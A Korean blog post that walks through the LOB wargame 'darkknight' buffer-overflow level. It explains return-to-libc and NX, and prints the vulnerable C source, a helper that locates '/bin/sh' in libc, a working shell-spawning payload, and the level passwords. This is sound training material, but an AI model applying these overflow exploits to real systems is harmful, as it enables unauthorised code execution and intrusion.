일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- 홍대 토라비
- 예쁜술집 예술
- 고르드
- apollo react native
- promise처리
- promise메서드
- 화이트해커를 위한 웹 해킹의 기술
- graphql 400
- apolloclient
- 운정 소바동
- 앙버터마카롱
- 홍대 예술
- 비동기배열처리방법
- graphql react native
- graphql with reactnative
- 화이트 해커를 위한 웹 해킹의 기술
- 지보싶 신촌점
- typescript
- 신촌 소문난집
- 홍대 카페 장쌤
- useMutation error
- graphql
- 금별맥주
- 잠실새내 도그존
- graphql with RN
- 토라비
- 잠실새내
- 도그존
- 비동기배열
- graphql mutation error
- Today
- Total
yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆
LOB 13번 풀이 (darkknight) 본문
id: darkknight
pw: new attacker
/*
The Lord of the BOF : The Fellowship of the BOF
- bugbear
- RTL1
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack betrayed you!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
- argc<2
- strcpy 취약점 이용
- argv[1][47]이 '\xbf' 가 되면 안됨 (stack이 날 버렸다..)
- 힌트: RTL
지금까지 BOF 문제를 풀면서 우리는 대부분 ret에 0xbfff로 시작하는 값을 넣었다.
하지만 이번에는 ret가 '0xbf'로 시작한다면 프로그램이 종료하고 만다.
따라서 우리가 사용하던 stack이 아닌 다른 곳을 이용해서 공격을 시도해야할 것 같다.
마침 힌트에 RTL이라고 적혀있다.
RTL (Return-To-Libc) ?
메모리에 미리 적재되어 있는 공유 라이브러리를 이용해서 바이너리에 원하는 함수가 없어도 공유 라이브러리에서 원하는 함수를 사용해서 공격하는 기법
-NX bit를 우회하기 위해 사용된다.
NX bit
stack 세그멘트의 실행권한을 제한해서 stack에 쉘 코드를 저장하고 실행하는 것을 막는 메모리 보호 기법
공유 라이브러리 영역에 있는 함수 중 공격에 사용할 함수는 system() 함수다.
system 함수는 OS의 명령어나 외부의 실행 파일을 실행할 때 사용한다.
system 함수를 이용해서 쉘을 띄울 것이기 때문에 함수의 인자로 '/bin/sh' 를 넣어주어야한다.
그렇기 때문에 system 함수의 인자 자리에도 '/bin/sh' 문자열의 주소를 넣어주어야 한다.
따라서 우리가 찾아야하는 주소는 총 2가지다!
1. system 함수의 주소
2. '/bin/sh' 문자열의 주소
먼저 gdb를 이용해서 system 함수의 주소를 찾아보자
system 함수의 주소는 0x40058ae0 이다.
이제 system 함수의 인자 '/bin/sh' 문자열의 주소를 구해보자
system 함수 내부에는 '/bin/sh'문자열이 이미 존재하기 때문에 shell에 system 함수의 주소를 넣고 while 문을 돌려서 '/bin/sh'과 같을 때 그 주소를 찾아내서 출력하게 했다.
#include <stdio.h>
int main(){
long shell=0x40058ae0;
while(memcmp((void*)shell,"/bin/sh",8)){
shell++;
}
printf("'/bin/sh' addr: %x\n",shell);
return 0;
}
'/bin/sh' 문자열 주소는 0x400fbff9 이다.
이제 ret에는 system 함수의 주소를 넣고, system 함수의 인자 자리에는 '/bin/sh' 주소를 넣어주자
payload: ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"A"*4+"\xf9\xbf\x0f\x40"'`
bugbear 의 pw: "new divide"
'wargame 풀이 > LOB' 카테고리의 다른 글
LOB 15번 풀이 (giant) (0) | 2021.01.01 |
---|---|
LOB 14번 풀이 (bugbear) (0) | 2020.12.31 |
LOB 12번 풀이 (golem) (0) | 2020.12.30 |
LOB 11번 풀이 (skeleton) (0) | 2020.11.24 |
LOB 10번 풀이 (vampire) (0) | 2020.11.22 |